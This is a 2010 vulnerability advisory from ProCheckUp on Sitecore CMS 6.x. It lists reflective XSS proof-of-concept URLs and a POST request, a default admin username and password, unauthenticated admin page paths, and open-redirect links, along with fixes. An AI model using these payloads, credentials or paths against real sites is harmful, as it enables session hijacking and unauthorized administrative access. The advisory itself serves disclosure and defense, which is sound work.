Vulnerability found:
30 November 2010
Vendor informed:
01 December 2010
Severity level:
High
Credits:
Richard Brain of ProCheckUp Ltd (www.procheckup.com)
Description:
Sitecore is a CMS designed for customers to effortlessly create content and media rich websites. ProCheckUp has discovered that multiple Sitecore pages are vulnerable to reflective XSS attacks, with some pages vulnerable to broken access controls which allows unauthenticated users to gather information and perform limited administrative actions. The Sitecore was also found to be vulnerable to offsite redirection.
http://www.sitecore.net
Versions tested:-
Version: Sitecore.NET 6.2.0 (rev. 100507)
Version: Sitecore.NET 6.0.0 (rev. 090120)
How to fix:
1) Sitecore is vulnerable to multiple reflective XSS flaws
Multiple XSS vulnerabilities has been found within the Sitecore Content Management System; this arises from insufficient input filtering found within programs.
By using a specially-crafted link, and tricking the victim into clicking on it, an attacker can perform malicious attacks such as the following:
- Hijack user accounts by stealing the victim's cookies that are assigned to the victim's browser by the vulnerable website
- Hijack user accounts by injecting a "fake" html form on the html rendered by the victim's web browser
- Redirect the victim to a malicious third-party website which would perform a phishing attack to steal the user credentials or exploit an vulnerability (i.e.: buffer overflow) on the victim's web browser in order to compromise the victim's workstation
UNAUTHENTICATED
http://target-domain.foo/sitecore/shell/Applications/Media/MediaPlayer/MediaPlayer.aspx?fi="></object><script>alert(1)</script>
(Works on IE only)
http://target-domain.foo/sitecore/shell/Applications/Login/Users/Kick.aspx?url=</script><script>alert(1)</script>=1
Whether it works depends on the site settings
http://target-domain.foo/sitecore/login/default.aspx?sc_error=<script>alert(1)</script>&mo=preview
http://target-domain.foo/sitecore/login?xmlcontrol=a><script>alert(1)</script> (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
http://target-domain.foo/sitecore/shell/default.aspx?xmlcontrol=RenderingInfo&id=<script>alert(1)</script>&fi=%2ftemp%2fdiagnostics%2ftrace_%7bbb6c83fb-b029-469d-909d-8e1ecf5ecdb1%7d.xml (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
AUTHENTICATED XSS
http://target-domain.foo/sitecore/shell/default.aspx?xmlcontrol=ea72c><BODY%20ONLOAD="alert(1)">&mo=preview
Works with IE
http://target-domain.foo/sitecore/shell/Applications/Security/DomainManager/DomainManager.aspx?'-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
http://target-domain.foo/sitecore/shell/Applications/Security/RoleManager/RoleManager.aspx?rolemanager:viewmembers='-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
http://target-domain.foo/sitecore/shell/Applications/Security/UserManager/UserManager.aspx?,usermanager:edituser=1&'-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
http://target-domain.foo/sitecore/shell/sitecore/content/Applications/Security/User%20Manager.aspx?'-alert(1)-'=1 (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
http://target-domain.foo/sitecore/shell/Applications/WebEdit/WebEditRibbon.aspx?db=master&id=%7b110D559F-DEA5-42EA-9C1C-8A5DF7E70EF9%7d&url="><script>alert(1)</script> (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
The treeid needs to be known for it to work
http://target-domain.foo/sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=GetTreeviewChildren&id=4E7AB8B16A394C8CBF5B816F8105BFFD&treeid="><script>alert(1)</script>
Authenticated POST (Sitecore.NET 6.3.1 (rev. 110112) is still vulnerable)
POST http://target-domain.foo/sitecore/shell/Applications/WebEdit/Palette.aspx
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-us
x-prototype-version: 1.6.0.2
Referer: http://target-domain.foo/default.aspx?sc_debug=0&sc_trace=0&sc_prof=0&sc_ri=0&sc_mode=edit&sc_rb=0&sc_de=1
x-requested-with: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET4.0C; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: target-domain.foo
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: ; ASP.NET_SessionId=mxwcv545hem0vy45wqqacf55; admin#lang=en; shell#lang=en; .ASPXAUTH=BEA13C8F7D4FADE370B51CAB6B575E28398AA952EA8CEDFBCE2DA4979F14D8F188936DDB6E6126D9F6429B6C03E54882C1BF39A719F3B5D44A9C611522AD473A3274630824C33A4EF4EDE70266FA032C9F3EA5D48E191E93DBC794A0FEDB04B1sitecore_userticket=C1D9F217B41B4047BEFEA39A489EBC26; sc_fv=10.2.152; website#sc_debug=1; website#sc_prof=1; website#sc_trace=1; website#sc_ri=1; sitecore_webedit_ribbon=1; sitecore_webedit_editing=0; website#sc_mode=edit; sitecore_webedit_activestrip=Ribbon_Strip_PageEditorStrip
POST DATA
command=insert&rendering=493B3A830FA744848FC94680991CF743&itemid=110D559FDEA542EA9C1C8A5DF7E70EF9&placeholderKey=/main/centercolumn/banner32d0a<script>alert(1)</script>bfe06dfe932&deviceid=FE5D7FDF89C04D999AA3B5FBD009C9F3&layout=%7B%0D%0A%20%20%22%3Fxml%22%3A%20%7B%0D%0A%20%20%20%20%22@version%22%3A%20%221.0%22%2C%0D%0A%20%20%20%20%22@encoding%22%3A%20%22utf-16%22%0D%0A%20%20%7D%2C%0D%0A%20%20%22r%22%3A%20%7B%0D%0A%20%20%20%20%22@xmlns%3Axsi%22%3A%20%22http%3A//www.w3.org/2001/XMLSchema-instance%22%2C%0D%0A%20%20%20%20%22@xmlns%3Axsd%22%3A%20%22http%3A//www.w3.org/2001/XMLSchema%22%2C%0D%0A%20%20%20%20%22d%22%3A%20%5B%0D%0A%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7BFE5D7FDF-89C0-4D99-9AA3-B5FBD009C9F3%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22@l%22%3A%20%22%7B14030E9F-CE92-49C6-AD87-7D49B50E42EA%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22r%22%3A%20%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B885B8314-7D8C-4CBB-8000-01421EA8F406%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22main%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7B43222D12-08C9-453B-AE96-D406EBB95126%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7BCE4ADCFB-7990-4980-83FB-A00C1E3673DB%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22/main/centercolumn%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7BCF044AD9-0332-407A-ABDE-587214A2C808%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B493B3A83-0FA7-4484-8FC9-4680991CF743%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22content%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7BB343725A-3A93-446E-A9C8-3A2CBD3DB489%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%0D%0A%20%20%20%20%20%20%7D%2C%0D%0A%20%20%20%20%20%20%7B%0D%0A%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B46D2F427-4CE5-4E1F-BA10-EF3636F43534%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22@l%22%3A%20%22%7B14030E9F-CE92-49C6-AD87-7D49B50E42EA%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%22r%22%3A%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%22@cac%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@cnd%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@mvt%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@ds%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@id%22%3A%20%22%7B493B3A83-0FA7-4484-8FC9-4680991CF743%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@par%22%3A%20%22%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@ph%22%3A%20%22content%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@uid%22%3A%20%22%7BA08C9132-DBD1-474F-A2CA-6CA26A4AA650%7D%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbd%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbdev%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbl%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbp%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbqs%22%3A%20%220%22%2C%0D%0A%20%20%20%20%20%20%20%20%20%20%22@vbu%22%3A%20%220%22%0D%0A%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%5D%0D%0A%20%20%7D%0D%0A%7D
Consequences:
An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a Sitecore based site. Such code
Would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of
Confidential information (i.e.: session IDs) to unauthorised third parties.
2) Sitecore is vulnerable to authentication bypass by using a built in default accounts.
http://target-domain.foo/sitecore/admin/login.aspx
User="sitecore\admin"
Password="b"
Consequences:
An attacker may be able to gain access to data held within a Sitecore based site, if the administrators have not changed the password.
Fix:
Change the default admin password.
3) Sitecore is vulnerable to broken access control, which disclosing confidential information to unathenticated users.
http://target-domain.foo/sitecore/admin/cache.aspx (click refresh)
Kick users off
http://target-domain.foo/sitecore/shell/Applications/login/users/kick.aspx
http://target-domain.foo/en/sitecore/admin/restore.aspx
Display the configuration
http://target-domain.foo/sitecore/admin/showconfig.aspx
http://target-domain.foo/en/sitecore/admin/sizestatus.aspx
Stats
http://target-domain.foo/sitecore/admin/stats.aspx?db=master&lang=en&id={00C4139C-4B64-4F9D-A8A7-861BE7EDC149}
Used to unlock a locked admin account
http://target-domain.foo/en/sitecore/admin/unlock_admin.aspx
Consequences:
And attacker might be able to carry out further attacks using the information found.
4) SiteCore is also vulnerable to offsite redirection, possibly to malicious websites.
http://target-domain.foo/sitecore/shell/Applications/Login/Users/Users.aspx?su=http://www.procheckup.com
(pop ups might need to be allowed)
http://target-domain.foo/sitecore/login/maximize.aspx?re=http://www.procheckup.com
Fix:
Apply patches or upgrade to Version: Sitecore.NET 6.3.1 (rev. 110112)
References:
http://www.procheckup.com/Vulnerabilities.php
Legal:
Copyright 2012 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to ProCheckUp, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited. ProCheckUp is not liable for any misuse of this information by any third party.
Categories